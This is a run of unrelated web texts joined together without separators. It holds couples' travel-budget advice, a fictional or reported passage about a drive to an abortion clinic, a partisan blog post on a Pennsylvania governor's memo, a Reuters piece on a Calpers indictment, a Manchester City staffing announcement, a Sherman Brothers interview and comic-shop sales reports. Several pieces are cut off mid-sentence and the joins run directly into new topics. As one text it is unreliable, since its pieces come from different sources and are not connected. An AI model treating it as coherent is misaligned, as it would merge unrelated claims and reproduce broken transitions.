Finding the balance using your priorities as a guide can help make sure the money you spend goes most towards the things that matter most to you. If you’ll be taking a summer road trip along the Pacific Coast Highway and staying in no-frills mom and pop motels throughout, you can use some of the money you’ll save on lodging for an upgraded rental car. An extra $20 or so per day for a convertible is the kind of upgrade that directly enhances the experience, which in this case is the drive itself.
If your budget only allows for an economy rental car but the idea of schlepping around in a compact on your romantic vacation is a turn-off, you can consider services like RelayRides, where individuals can rent out their own cars for a fraction of the cost of the standard rental. For example in San Francisco you can rent a 2015 BMW X1 SUV for only $64 a day. Many are even available with free pick-up and drop-off at the airport. For comparison, a Toyota Rav4 at a local SF Enterprise is $150 per day.
If you choose not to bother with a rental car, startups like Lyft and Uber have come along in recent years and offer an attractive alternative. With a few button presses on their respective apps, you can have a high-end black car service at your beck and call in most major cities, usually for the same price or less than a standard hailed taxi. If you only need a car for short distances or occasionally, you can save money here by ditching the rental car and use the savings for a better room or a more centrally located hotel. Plus there’s the invaluable benefit of not needing a DD.
Car / day $35.00 Gas $100.00 Total Parking / day $35.00 Total cost for 7 day vacation $590.00 Uber for 7 days total $588.00 Uber daily allowance $84.00
$84 is a bunch of Uber rides, unless you're going long distances. This obviously only makes sense if paying for parking will be a factor. The nice thing about Uber/Lyft is you save a lot of hassle as well, getting to and from the rental car location, etc.
Where to stay
A big question you’ll want to ask before you start making reservations is what are you looking for in a hotel room. Will the room itself be part of the vacation or a place to flop down at the end of each night? Are you looking for a romantic love nest or four walls and a bed? If you don’t plan on spending any time in the room, you can get away skimping a bit on plush accommodations. If you don’t need floor-to-ceiling windows, two marble-clad bathrooms with heart-shaped tubs and a touch-sensitive minibar packed with Toblerones and Fiji, you can save big money on lodging.
The first three rules of hotel selection are location, location, location. Hotels near the attractions or city center are going to cost more, and depending what the attractions in question are, this can be a positive or a negative. If you’re staying in the heart of a busy metropolis, there will probably be large crowds there at all hours of the day. Unless it’s something at which you plan on spending most of your time on the trip, less expensive but no less acceptable lodgings can be found a few blocks outside the city center. Most hotel booking websites include this information, so make sure you take note of it. You might be patting yourself on the back now for scoring a 4-5 star hotel for less than $200 a night, but if it’s a 45-minute subway ride with two transfers to where you plan on spending most of your time, that bargain will start to look less and less like one with each ride.
And just like RelayRides, AirBNB is a community of folks who rent out their own properties, and has become a fantastic and affordable way to stay in popular cities at a fraction of the cost of a hotel. On a recent stay in San Francisco, Primer’s editor and founder Andrew stayed on a docked yacht for 4 days for only $99 a night – whereas run-of-the-mill hotels were renting for $300 a night. A third of the price and a fun alternative.
How long to go for
How long you go away for will be determined by many factors out of your control, like number of vacation days or total budget. If you’re making a budget you intend to stick to, you can generally count on having to make a choice between a longer stay in less luxurious accommodations or a shorter, ritzier stay somewhere fancy.
It’s a safe estimate to budget at least $50-$75 per day for food for each of you. This gives you the freedom to splurge on a pricey breakfast buffet or a bottle of wine (or two) with dinner, especially if you consciously balance it out by taking advantage of free continental breakfasts at your hotel or taking food out for a picnic lunch occasionally rather than eating a sit-down lunch every day.
What to do
Planning a trip as a couple takes compromise. Remember: if you agree on a destination but have different agendas when you get there, there’s no law that prohibits spending some time apart while on a trip. If you’re a beach bum and she loves museums, you can go do your favorite activities solo during the day and meet up for dinner at night. This is totally normal, and a great opportunity for you both to get some alone time doing what you really want to do. It’s also not such a bad idea to give each other some space to unwind separately. After all it’s each of your vacation just as much as it’s “your” vacation.“Children deserve so much. And if you don’t start with a solid platform, how can you ever give them that?”
If he had a hearing date, then she could have more certainty, but he didn’t, so she didn’t. She made one appointment with an abortion clinic in Helena, which would have been closer, only to cancel it at the last minute. By the time she decided she wanted to reschedule, the Helena clinic was booked for weeks. The nearest appointment she could get was the clinic in Missoula, and now instead of certainty she had 161 miles of a dark drive left in front of her, a landscape that was dotted only with occasional neon lights of gas stations and billboards that were too dim to read.
“I can help you find a good day care,” an acquaintance had offered recently.
“I’m thinking of having an abortion,” she replied.
“There are other options,” she remembered the acquaintance telling her, as if she didn’t know. Thinking about options is what had been keeping her awake at night.
Option one: There was the day a few weeks ago when she went to the government office of family services, just to see what it would feel like to have a child and need help raising it. She looked through the forms for food stamps, which asked things like whether she had a car and how much it was worth. Emily tried to picture selling her beat-up sedan, but then how would she get to work, in a town with no public transportation where she had few friends? A version of tenuous, exhausted motherhood stretched out in front of her, and it didn’t look anything like the one she’d always envisioned, with healthy meals, the right toys, two parents.
Option two: The people at the Missoula clinic sounded kind. They asked her how far along she thought she was — about 14 weeks now, she told them — and they explained how she would come in, fill out paperwork and have an ultrasound to make sure her dates were right. She would take a drug called misoprostol to prepare her cervix for dilation, wait for a few hours, and then the surgical portion would be about 15 minutes. She wondered if she would have to look at the ultrasound, and how she would feel when she was actually sitting there, inside the clinic.
“I would guess most women feel more certain,” she said, and kept driving.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
An internal memo from Pennsylvania Gov. Tom Corbett’s administration reveals that even Republicans think extremists like Walker and Kasich are failures. As you know, this sort of thing is simply not done in Republican circles, where they stick together no matter who has pictures of what airport bathroom.
Jan Murphy of the Patriot News reported on PennLive:
More surprisingly, the memo cites the shortcomings of fellow Republican governors Tom Ridge and Dick Thornburgh. It notes they raised taxes and legislative salaries. The memo, authored by Corbett’s deputy chief of staff Luke Bernstein, called Corbett’s first year in office “one of the most productive in the country.” It also contrasted Corbett’s performance with Republican governors in six states, including Wisconsin’s Scott Walker and Ohio’s John Kasich, who gained national attention for their tough stands with unions… The memo notes Wisconsin’s Walker, after pushing through a bill to strip unions of collective bargaining rights, “faced tens of thousands of protesters camping out at the state Capitol for weeks.” It notes Walker “faces a possible recall in 2012.” For Ohio’s Kasich, the memo notes he pushed through a controversial collective bargaining law to Wisconsin’s, which voters “resoundingly defeated.”
Ouch. Recalls and defeats, oh my!
Corbett’s approval rating was exceptionally low among his own party in Pennsylvania. After a rocky start trying to enact the Koch brother Walker-Kasich-Scott-Snyder (also known as the four corners of gubernatorial doom) agenda, Corbett’s approval ratings sank and he disappeared from view. He then adopted his predecessor’s do nothing to rock the boat style.
But, hey, maybe doing nothing is the new black for the Republican Party this year.
A GOP strategist said he doesn’t know how Walker will take to this. The strategist explained, “The Republican governors have always been a close-knit group who help each other whenever they can. I just don’t know how kindly a governor like Scott Walker will take to this. It’s so over the top.”
That sounds rather ominous. What will the great Oz do to Corbett? Inquiring minds want to know. And can it be done from prison? Oh, I kid.
Come on over to our side, Gov Corbett. We not only respect people who take their own down, but we demand it. If you can score a goal for the other side while you’re at it, you can be a Democratic cult hero!
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:By Robin Respaut
(Reuters) – A federal grand jury indicted on Thursday a former Calpers board member on charges of bribing a chief executive of the California public pension fund and faking documents to gain million of dollars in investments fees.
U.S. Attorney Melinda Haag announced that Alfred J. Villalobos, a former member of the board of the California Public Employee Retirement System who later worked as a placement agent, engaged in a conspiracy to commit corruption, defraud the United States, conceal materials, and conspire to commit mail and wire fraud.
Villalobos was a member of Calpers board from 1993 to 1995 and later founded a placement agency called ARVCO Capital Research LLC that solicited investments by public pension funds in private equity funds, according to court documents.
Thursday’s indictment was a revision from one originally filed in March 2013, when Villalobos was charged, along with former Calpers Chief Executive Fred Buenrostro, in connection with a scheme involving a $3 billion Calpers investment in funds managed by Apollo Global Management, a New York-based private equity firm.
Calpers is the largest U.S. public pension fund
Villalobos was the placement agent who orchestrated the transaction between Apollo and Calpers, according to a statement released |
to approve the amendment makes it a part of a larger energy policy reform bill before the Senate.
The legislation, S. 2461, directs DOE to establish partnering with private innovators on new reactor technologies and the testing and demonstration of reactor concepts. Under the agreement, the Nuclear Regulatory Commission (NRC) would report to Congress on any barriers that would prohibit the licensing of new reactors within a four-year time period.
# # #Manchester City are delighted to confirm Mikel Arteta has joined Pep Guardiola’s backroom staff.
He is the first member of the new-look coaching staff to be officially announced with the remainder of the staff to be revealed shortly.
Arteta, whose official title will be Assistant Coach, started life with Barcelona’s junior sides before spending time on loan with Paris St Germain and eventually joining Glasgow Rangers.
He stayed at Ibrox for two years before returning to Spain with Real Sociedad, but after just one season, headed back to the UK, this time with Everton.
He stayed at Goodison Park for seven years, playing more than 200 games for the Toffees, leaving for Arsenal in 2011.
Arteta, 34, made close to 150 starts for Arsene Wenger’s side, but left at the end of last season after accepting an offer to take up his first coaching role.
Commenting on a “new chapter” in his career, Arteta said: “Following recent media speculation surrounding my future I can confirm that I will be leaving Arsenal and retiring from playing to take up a coaching position at Manchester City.
“I’ve enjoyed an amazing five years at Arsenal and it’s been an honour and a privilege to captain such a great club.
“Throughout my career I have been interested in more than just the playing side and have had a passion to develop and progress the team outside of my own role as a player.
“Coaching has been something I’ve always been keen to go into and I’ve worked hard off the pitch as well as on it to develop my skills in order to put me in a position to be able to pursue a coaching role once I finished playing.
“I’ve been lucky enough to work under some amazing coaches during my career and I hope to use the elements of everything I’ve learned from them as well as my own playing career to help City achieve success.
“I am now looking forward to the challenge ahead at Manchester City. The opportunity to join Pep Guardiola and his team was an amazing opportunity for me and I am incredibly excited for the future.”
Arteta's arrival is the second big announcement of the weekend following the news England Under-19s coach Lee Carsley has been named as the new City Under-18s manager, with Jason Wilcox moving to the new role of Head of Coaching (Academy).The warm, altruistic sentiment expressed in the verse from the Disney signature song “It’s A Small World” runs deep through all the music and lyrics of Richard and Robert Sherman.
“There is just one moon / and one golden sun
And a smile means friendship to everyone
Though the mountains divide / and the oceans are wide
It’s a small world after all.”
During the 60s and early 70s, the two brothers, working as top staffers at Disney studios, wrote classics such as “Supercalifragilisticexpialidocious,” “Chim Chim Cher-ee,” “A Spoonful Of Sugar,” “I Wan’na Be Like You,” “Let’s Get Together” and “The Age Of Not Believing” for much-loved family films like Mary Poppins, Jungle Book, The Parent Trap, Winnie The Pooh, The Absent Minded Professor, The Sword In The Stone, The Happiest Millionaire, Bedknobs And Broomsticks, The Aristocats, That Darn Cat, The Monkey’s Uncle and many more.
Encouraged by their dad Al Sherman, a composer who’d made his mark in the Tin Pan Alley days, Richard and Robert began collaborating in the early 1950s. Despite having a well-known father and some connections, the brothers toiled in obscurity, learning their craft and getting used to the sound of doors being shut in their faces. Then, in the early days of rock n’ roll, they scored with a flurry of hit singles, led by Johnny Burnette’s “You’re Sixteen,” Kitty Wells’ “Things I Might Have Been” and Fabian’s “Got The Feeling.”
In 1958, after the Shermans penned a ditty called “Tall Paul” for everybody’s favorite Mouseketeer, Annette Funicello, destiny stepped in courtesy of Mr. Family Entertainment himself, Walt Disney.
Pleased with the talents and upbeat attitudes of the siblings, Walt hired Richard and Robert to write music and lyrics for all things Disney over the next decade. This included not only the aforementioned films but music for Disneyland and Disneyworld attractions (“The Tiki, Tiki, Tiki Room” and “There’s A Great Big Beautiful Tomorrow”), as well as songs for Disney TV shows such as The Horsemasters and The Wonderful World Of Color. Their association with Disney continued into the ’80s, when they wrote two songs for the opening of Epcot Center.
Along the way, the Shermans also wrote songs for many successful non-Disney films, including Chitty Chitty Bang Bang, Snoopy Come Home, Charlotte’s Web, Tom Sawyer and The Magic Of Lassie, as well as two stage musicals, Victory Canteen and Over Here featuring The Andrews Sisters.
In 2005, The Sherman Brothers received a star on the Hollywood Walk of Fame, and in 2008 they received the National Medal of Arts. In 2009, the documentary The Boys: The Sherman Brothers’ Story was released to critical acclaim. In Mary 2012, Robert Sherman passed away at the age of 87.
This interview was held in 1996 when the two brothers—who prefer to be known as Dick and Bob—ed our writer Bill DeMain on a very pleasurable trip down memory lane.
What attracted you to music and songwriting initially?
Dick: I think it had to have been something in both the environment and the genes, because our dad was a wonderful songwriter, named Al Sherman and he wrote some great hits in the ’20s and ’30s like “Now’s The Time To Fall In Love,” “You’ve Got To Be A Football Hero” and many, many others. Music was in the family. My mother was an actress, but she played piano beautifully, classical piano. Dad was always playing his pop songs and beautiful melodies.
Bob: What happened was that Dick and I, after World War II, were sharing a loft in West L.A. and Dick was trying to write the great American musical and I was trying to write the great American novel. My dad said, “How come two bright young fellows, college graduates, can’t write a song that a kid would spend his lunch money on?” And we said, “Aw, c’mon dad, that’s too easy.” Six months later we were still trying (laughs).
Dick: He’d come over once in a while and listen to our attempts, then one day he heard a song that had some potential, and that’s where it all started for us.
Did you know early on that you would be a team?
Dick: No, we didn’t know it until Dad dropped the gauntlet and said, “You guys haven’t got the capability of writing a popular song,” and that started it.
Bob: When we finally wrote a song that we liked, he pointed northeast and said, “That way is Hollywood, that’s where the publishers are, take it and go there.
How would you describe those first songs?
Bob: Trite (laughs). Either they were trite or a little too esoteric, a little too clever with inner rhymes and things. Our dad had a secret for writing songs. He said, “You’ve got to have them Simple, Singable and Sincere. And they should have a special sound to them. That’s the only way it’ll work.” He called them the “Three S’s.
Dick: You can add to that original and inventive. I think those are the things that make songs. The “Simple, Singable, Sincere” within the realm of creative, inventive and original. Those things have to be part of it.
Bob: Soon, we learned that a song has three parts. The music, the lyrics and the most important part, the idea. Everything revolves around the idea.
Dick: That’s the hinge upon which the door swings. Usually it’s either a great title or a concept, a reason for the song to be written. So many times our songs have novel ideas behind them. Sometimes there’s stuff that you don’t expect. One of our early pop songs, for example, was a little play on words called “Pineapple Princess.” It’s a nice little sound. It’s the first time a Hawaiian song was done to a samba beat. Nobody’d ever done that. Another thing, “You’re Sixteen,” was a 1935 shuffle beat, like “Shuffle Off To Buffalo.” We thought, nobody’s done this in 30 years (sings shuffle bass line). It hadn’t been done in rock songs.
When you were writing pop and rock n’ roll songs like “You’re Sixteen,” did you feel like you’d found your niche?
Dick: You know, in those days we were just trying to make a dollar. Write a good commercial song that “a kid would give up his lunch money to buy,” to quote our dad (laughs). We were doing the best we could and we got lucky with a wonderful little girl named Annette Funicello. She was 15 years old, she had five months to go on her Disney contract and they were looking around for some material she could sing for the pop market. And a little song we wrote called “Tall Paul” came across the eye of a fellow called Mo Preskell in New York City, who was working for Disney. Annette made this record and it was tremendously successful, and the guys who ran the record company were wonderful. They called us and asked for more material for Annette. Nobody had ever asked us for a song in our entire lives. It was 10 years of writing pop music and all we’d ever had was people say, “Oh no no, we don’t need that, we have too many ballads, thanks very much, but no.”
Bob: Anyway, to make a long story short, we started writing songs for Annette. In fact, over our career, we wrote 35 songs for her over seven years—from “Tall Paul” to “The Monkey’s Uncle.” Then Walt Disney said, “Who are these two brothers that are writing songs for Annette? She’s going to England to do The Horsemasters, a film, maybe we can get them to write a song for us.” So they told us on the telephone they wanted a song for a girl who was learning how to ride a horse (laughs).
Dick: And she was singing in a rec hall at the end of the day and they said, “Write a little song for kids who are coming together from all over the world to learn horsemanship.” So we wrote a song called “Strummin’ Song.” And we brought it into Walt’s office...
Bob:... and the first thing he said was, “Now these two sisters have never met. They’re twins and they meet in summer camp.” And we looked at each other kind of puzzled and said, “Look, Mr. Disney, we brought a song here for Annette Funicello.”
Dick: Boy, was he ticked. He said, “Okay let’s hear what you’ve got.” He was describing The Parent Trap, which we knew nothing about (laughs). All we knew was that he was one living legend that we’d met for the first time who was ticked as hell because we came in with the wrong song.
Bob: Anyway, after we demonstrated our song for him, he said, “Yeah, that’ll work.” Now we didn’t know at that time that that’s the nicest thing that Walt Disney ever said about anything (laughs). That was his way of complimenting you.
Dick: At one point he said, “That’ll work, and now that I’ve wasted a lot of time on these other things, I want you to take this script home and see if you can find some song spots.” He handed us a script called We Belong Together, which was the working title of The Parent Trap. We took it home and we wrote a ballad called “For Now, For Always.” We brought it in to him and he said, “Yeah, that’ll work, but that’s not the name of the picture. We can use that in a certain sequence, but we need a song where the kids are hinting to the parents...”
Bob: We had a great title called “Let’s Get Together.” He said, “That’ll work, but that’s not the name of my picture.”
Dick: We put that into the picture and Hayley Mills had a huge hit with it. By the way, the “yeah, yeah, yeah” was before The Beatles did “she loves you, yeah, yeah, yeah.” But we wound up writing four songs for The Parent Trap and we were off and running.
How did you get involved with Mary Poppins?
Bob: Walt said one day, “Do you know what a nanny is?” And we said, “Sure, a goat.” (laughs). He said, “You read this book and give me your ideas on it.”
Dick: And that book was Mary Poppins. We read it and got very excited. We thought we could do a couple of things to make the book work a little better. First of all, there was no story line at all, so we took about six chapters that we thought were really the juicy ones, the ones with the most colorful stories and characters and we wove a little tentative story, and we changed the period. It was written in the mid-30s, a depressed time. We changed the period to 1910, which gave it a lot of color and sort of took away that veil of disbelief, so you could actually start believing that a nanny would fly in on a west wind. Those were a couple of our contributions—the period of time and the selection of chapters. How we got our actual invite to become staff members at Disney was the day we brought in our outline and six song sketches. Walt liked our songs and our idea for the story. He pulled out his copy of the book and he had underlined the same six chapters that we had. That’s when he said, “How’d you like to work here?” And we found ourselves under contract (laughs). We were there for a very happy eight-year period and we’ve had a connection with Disney for the past 30 years.
What’s the story behind “Supercalifragilistic”?
Dick: Well, we wanted a souvenir that Mary Poppins could give to the children that would come out of this wonderful make-believe experience they had by jumping into the chalk drawing picture. In the book, Mary Poppins didn’t go in with the kids, she went in on her own on her day off and had tea with Burt, then she left.
Bob: But nothing would remain the same. The starfish would become cardboard. Nothing would be as beautiful as it was in the land of imagination.
Dick: But a word would never change. And here, we drew from our childhood, our own experience. As kids, we were in summer camp in the Adirondack Mountains in New York state. And there was a contest in our camp about the biggest word in the world. Anybody who could say “antidisestablishmentarianism” was a super-genius. But if you could make a bigger word than that you were a super super-genius. We started working on one and it wasn’t very smooth, but it was something like the one we ended up using. Years and years later, when we were working on Poppins, we said, “Let’s get them a souvenir from the chalk drawing experience that they can take with them that will make them feel good.” We remembered the crazy word contest and we thought, “Let’s make a really atrocious word.” And then we thought, “Well we can be real precocious if we were atrocious and that rhymes with docious, so we can have a super word ending in docious. We put in the califraglistic in the middle and add the expiali- (laughs).
When you came up with the word did you think it would become such a popular phrase?
Bob: One never knows.
Dick: This was one of the very first ideas we had when we said we had six song sketches that we brought into Walt Disney. We had basically the chorus of “Supercalifragilistic...” but no verses, none of the little fun “um-diddle-diddles.” When we first wrote it we thought it was such a crazy nonsense thing that we wanted to call it “The Pearly Song.” We thought Mary Poppins would introduce the children to some pearlies, you know performers that put the beads on—so we called it “The Pearly Song.” We were afraid of the other title.
Bob: Walt said, “Don’t change it. You like the first title, go with it.”
Dick: He said, “You’ve got a good idea, toot it on your trumpet.” We said, “It won’t even fit on the title page.” (laughs)
From the same movie, what about “Chim Chim Cher-ee”?
Bob: Well, one day, Don Dagrati, this marvelous writer and artist, had a little 8 x 10 sketch in charcoal, a little chimney sweep with his brooms over his shoulder and he was whistling with his cheeks puffed out. And Dick and I looked at each other and said, “That’s a song.” But there was no chimney sweep in our treatment so far.
Dick: So we said, “We’ll write a song about chimney sweeps that Mary Poppins can sing to the kids.” Initially, that’s the way we were going, but Walt in his incredible showmanship—he had a genius for these things—he listened to the song in progress...
Bob:...Walt said, “You know, we have this guy that draws pictures on the pavement and we have a one-man band and we have a fellow who flies kites—why don’t we make them all one fellow and call him Burt, and he’ll be the chimney sweep too?”
Dick: So he’s everything, a jack-of-all-trades. That character didn’t exist in the Mary Poppins book. He evolved from all those story meetings we had.
It’s such a lovely melody. Almost like an ethnic folk song.
Dick: We wanted to have a folky quality, but originally the harmonics in it were not quite as sophisticated. To be specific, it has a downward chromatic movement, a shifting major-minor sound.
Bob: I had said, “Why don’t we call it “One Chimney, Two Chimney, Three Chimney, Sweep”—that kind of rhythm.
Dick: And I said, “I think that’s dreadful,” and I left the room and I took a walk, and I came back and said, “Hey, wait a minute.” And we started playing with the word “chimney” —breaking it up.
Bob: It evolved slowly.
Dick: We had it and it was very heavy, almost with a Middle Eastern sound, and both of us started disliking it. It was a straight minor. We thought, “We’ve got to lighten this thing up. It’s English, it isn’t Russian.” So we were thinking and thinking and then we re-harmonized it, and that’s when the chromatic downward movement started in the harmony, all of a sudden the song came to life. Another thing happened. There’s only 16 bars of music. We had to have more than that—maybe a bridge, a different phrase. We were constantly tortured about that, but then we thought, “Maybe a folk song is about repetition.” So what we did was change the treatment, so sometimes it’s a recitative, sometimes it’s sung. The lyrics change every time around. It became a running theme in the movie, taking on different guises.
One of the wonderful things about your songs is that they reach both kids and adults without shortchanging either.
Dick: Bob and I have never written down to kids. We’ve always written up to kids. We want them to find out, if they’re curious like we were, what things mean. Or if there was a double meaning within a statement, let the parent get it on one level and the let the kid get it on a second level. We’ve always believed in that and we’ve never tried to compromise how we feel about this. We just write it the best way we can and hopefully it’ll be received on many levels.
Bob: Years ago, my young son Jeff was outside my bedroom window on his bike with another kid and he said, “Is that where your daddy lives?” and Jeff said, “Yeah, my daddy’s kind of retarded, he writes for kids (laughs).”
Dick: We write for family audiences, that’s our thing. We try to write with a broad spectrum of meaning. You can listen to “Feed The Birds, Tuppence A Bag” and one person will say, “Oh, it’s a guy that’s trying to make a pitch to buy breadcrumbs and feed pigeons with them.” And somebody else might say, “Oh maybe it’s more a song about being kind and giving a little love to people that need it.” There’s a double way of looking at it.
What was the most difficult assignment you ever had at Disney?
Dick: I think the pressure that we were put under at the time when Disney was doing the World’s Fair.
Bob: We were invited by Walt to go down to a factory in Glendale where they made all the rides and things, and we walked through a mock-up of a ride called Children Of The World, and they played music—kids from all over the world singing their national anthems. These were the animatronic dolls singing and it was one mess, one horrible cacophony. Walt said,”You see our problem, we have the World’s Fair pretty soon and we need a song that can be sung in every language.”
Dick: He said he wanted a little rondelet, and we thought a round would be awfully boring. So he said, “What do you have in mind?” We said, “How about a counterpoint?” He said, “Yeah, a rondelet.” (laughs) So we went away and wrote a little song that was too simple. It was very sweet, a nice little song, but we were writing it under terrible pressure because they kept calling to ask if we had anything written yet.
Bob: Then we wrote a song that was too sophisticated....
Dick: Then we wrote a very pretty ballad that we thought would be nice...
Bob: Then Walt’s secretary said Walt was coming down to our office and he wants a song and he wants it now.
Dick: We heard him hacking and coughing down the corridor, coming towards us and we both looked at each other and said, “Let’s do the simple one.” It was “It’s A Small World.” And what did Walt say? “That’ll work.” (laughs) That was a tough assignment because it had to be simple and translatable, and yet it had to be repeated so often over a 14-minute ride that it couldn’t be boring—that was the counterpoint. It had to be malleable so it could be played with a Latin beat, it could be played with little Dutch shoes clicking to it, it could be played in a little French march.
Tell me about Jungle Book...
Bob: One day Walt asked us if we’d ever read the Jungle Book. We knew someone was working on it, but we said, “No we hadn’t.” He said, “That’s good, I don’t want you to.”
Dick: They were working on Jungle Book before we ever got involved and they were doing it very true to Kipling’s version—very serious, very heavy. Walt didn’t like it all. He said, “Look, I just want to take the essence of this book and go in another direction.”
Bob: He said he wanted to “Disnify” it, to have fun with it.
Dick: Basically our assignment was to find crazy ways of having fun with it. So we came up with Dixieland jazz and a barbershop quartet with Cockney accents for the vultures and a spooky snake with a sibilance problem (laughs)—all these things were our ideas. All these very heavy situations we made very light, so we wound up writing five songs and Terry Gilkyson had written one wonderful song in the original version called “Bare Necessities.” That stayed in the script. The other five were ours.
Did you know that you were writing “I Wan’na Be Like You” for Louis Prima?
Dick: No, we didn’t know that Louis was going to be the voice. We wanted to write a song for a swinger (laughs), make a comedy song about the king of the apes, the king of the swingers. The whole idea was to do a Dixieland jazz, scat-singing song, and we came up with “I Wan’na Be Like You.” At a certain point, after we were demonstrating this song in the story conferences, the idea of who will do it came up, and Louis Prima and Sam Butera and the Witnesses were holding court at that time down in Las Vegas, so we thought, “If he would go for this, it would be great.”
Bob: So we went down there and we played it for them, and they had very serious, professorial looks on their faces and when it was over with, Louis said, “You want to make a monkey out of me? Well then, you got me!” (laughs).
Dick: These guys were so marvelous. On stage, they were the wildest thing you’ve ever seen, jumping around. Louis Prima was magnificent, he was all over the place. In fact, when we recorded the song on the soundstage, the Disney animators came down and filmed them in black and white so they could get their movements, and they included a lot of the movements that the musicians were doing in the monkey sequence.
When you write for an animated picture, are you aware ahead of time what all the characters look like and sound like?
Bob: It’s the same as writing for live actors, there’s no difference...
Dick: Many times, they do give you sketches. The artists have already conceived the character personalities visually. We don’t know what their voices are but we do know the physical precepts. Like with Winnie the Pooh, we knew he was a little stuffed Teddy Bear and we knew that Tigger was a stuffed tiger that bounced around a lot. So you could sort of feel them...
Bob: But we don’t think of them as little stuffed Teddy Bears, we think of them as personalities. We write for them the same as we write for anybody.
Dick: Oh yeah, they have feelings, they have emotions, they have heart, they love, they’re afraid. They’re just as real to us as if we were writing for a live actor.
How about “The Aristocats”?
Dick: That’s fun. We had written three songs for the movie, one of them was the title song...
Bob: Dick said one day, “Gee Bob, wouldn’t it be great if Maurice Chevalier would come out of retirement and record this.”
Dick: Years and years before, Maurice Chevalier had recorded a song or our father’s for a film called Big Pond. The song was called “Living In The Sunlight, Loving In The Moonlight.” We sort of grew up with Maurice Chevalier.
Bob: And he was opening his nightclub act with “There’s A Great Big Beautiful Tomorrow”—our song—and closing his act with “It’s A Small World.”
Dick: So he was fond of our stuff, and we had written for two pictures that he was in. But this was at a point where he was retired. So the director of the picture said, “Dick, do an imitation of Chevalier, put it on a record and we’ll send it over with a lead sheet. Maybe we’ll entice him to come into Paris and record it.” Sure enough—and he was 87 years old at the time—he liked the song very much and he came out of retirement. One afternoon, Chevalier got together with a little music ensemble in the studio and did his very last recording, “The Aristocats.” We were so thrilled with that. He sounded as great as he ever did. It’s delightful. I ran into Chevalier in Paris after that by accident at the Georges Cinque Hotel and he was very funny. I said, “You know there’s one thing that really bothers me and I want to apologize for this. I took the liberty of doing a phony French accent on the demonstration record of “The Aristocats.” And he looked me right in the eye and said, (imitates Chevalier) “Accent? I heard no accent.” (laughs)
—By Bill DeMain
From Performing Songwriter Issue 20
Category: Legends of SongThis is the Top Ten Bleeding Cool Bestseller List, as compiled by a number of comic stores from their sales on Wednesday and Thursday. It measures what are known as the “Wednesday Warriors”, those who can’t wait to the weekend to get this week’s comics. We salute you, and the keenness you bring to your passion.
And in a DC fifth week, Marvel still fail to beat out Batman and the Justice League with their ResurrXion lead X-Men Prime. Buyt the absence of many DC titles lets the likes of Old Man Logan, Old Guard and Deadly Class to make it onto the top ten amongst the DC Hanna Barbera crossover annuals..
Dark Knight III Master Race #8 Justice League of America #3 X-Men Prime #1 Titans Annual #1 Green Lantern Space Ghost Special #1 Old Man Logan #20 Suicide Squad Banana Splits Special #1 Old Guard #2 Inhumans Prime #1 Deadly Class #27
Thanks to the following retailers,
Who had this to say,
Oof. Terrible week for sales. Marvel takes 5 of the top ten but with numbers that would not place them on the list in a normal week. Dark Knight was a runaway #1, no book came close. X-Men: Prime was our #2 of the week and as for Inhumans: Prime, well the less said about its performance the better. Titans continues to do well and was our third best seller. Whedon books always have solid sales and Serenity took the #4 spot. Venomized covers are giving some Marvel books a decent boost, as is the case with Thanos this week putting it at #5. Bottom half was an expected mix of BigTwo.
Green Lantern – Space Ghost sold the best of the DC/HB books while Suicide Squad – Banana Splits sold the worst. Man-Thing #2 had one of the largest sales drop offs I’ve ever seen. My favorite book of the week not named Moonshine or Old Guard was Peepland #5. Great conclusion to a fun crime book.
—
Marvel needs to suck in their gut and pull up their pants, because even in a Fifth Week where DC put out only 11 books (6 of which were Annuals) they trailed behind in sales at FFF. Our Top Ten this week was astonishingly overwhelmingly DC (with one indie book and one Marvel book). The complete list is #1 JLA, #2 DK3, #3 Titans Annual, #4 X-Men Prime, #5 Animosty, #6 Green Lantern/Space Ghost Annual, #7 Batgirl Annual, #8 Teen Titans 6 (which we were shorted last week), #9 Adam Strange/Future Quest Annual, #10 Kamandi Challenge. It speaks volumes to the quality of the creative output from the Big 2 that people are in fact willing to shill out more money to read an interesting and quirky premise that is actually GOOD and doesn’t feel like pure pandering. The one book that DC did put out that would meet this criteria (Harley’s Little Black Book) didn’t do great, but it still made the Top 20 and beat out most of Marvel’s books.
Marvel seems to be getting people interested in the X-Men again. In addition to X-Men Prime being #4, All New X-Men and Old Man Logan were #13 and #14 respectively in our Top 20. I’m hoping as a fan and a retailer, that they can keep the momentum going, but my faith is not high. Darth Maul #2 from last week actually sold more copies this week than most other NEW Marvel books from this week. Marvel was in the perfect position to be on the top this week, but they’ve been messing up so often that people actually wait for reboots/relaunches/redirections to jump back in. Except Inhumans Prime. Nobody cares about Inhumans Prime.
On the indie side of things, Moonshine was #11 and Old Guard was #12 and as previously mentioned, Saga Vol. 7 was #19. Saga is my favorite book (by my favorite writer) coming out right now, and we get people coming in on a regular basis asking when the next volume comes out. So it isn’t really surprising that it sold so well. Aftershock’s Animosity has been a store favorite since issue 1, and it usually enjoys a nice middle spot in the Top Ten every time a new issue comes out.
Usually with Fifth Weeks, we don’t expect to sell much DC (as they usually only put out Annuals), but this month was shockingly Bizzaro. People are willing to spend $5 on a book that features Serial Killers teaming up with Talking Animals (with a back up about a Flamboyant Pink Lion who also talks). But nobody cares that the Inhumans are going to space.
For back issues, we sold a good bunch of bronze age Marvel and DC as well as some Kyle Rayner Green Lantern, JLA, and Uncanny X-Men. As usual, we also sold a good batch of Batman, Punisher, Wolverine, and Walking Dead. Rebirth is still selling extremely well as people keep coming in wanting to jump in after hearing good things.
—
Even in an off week, DC manages to take eight of the top ten spots in our store’s Wednesday sales, helped by a surprisingly strong response to the DC/Hanna-Barbera crossover specials. Marvel did very well with its two “back to the basics” books, X-Men Prime (3rd in our store) and Inhumans Prime (9th in our store–and the first time an Inhumans titles has placed in our store’s Top Ten ever!).
Increased interest in indy books, with the focus on Image and IDW.
—
The DC crossovers did surprisingly well this week, and Booster Gold Flintstones #1 would have come in at #11 for us tied with Deadly Class, Joyride and Ninjak. With X-Men Prime, and Inhumans Prime, Marvel did not generate any interest on their own. Marvel titles were a distant 6th in publisher sales for us this week. DC and Image continue to do well, Boom, Valiant, and Aftershock continue to gain momentum.
—
X-Men Prime dominated this week, its numbers actually rival that of any of the Bat titles. Hopefully, this interest carries to the other million X-titles that will be coming out the next few months
—
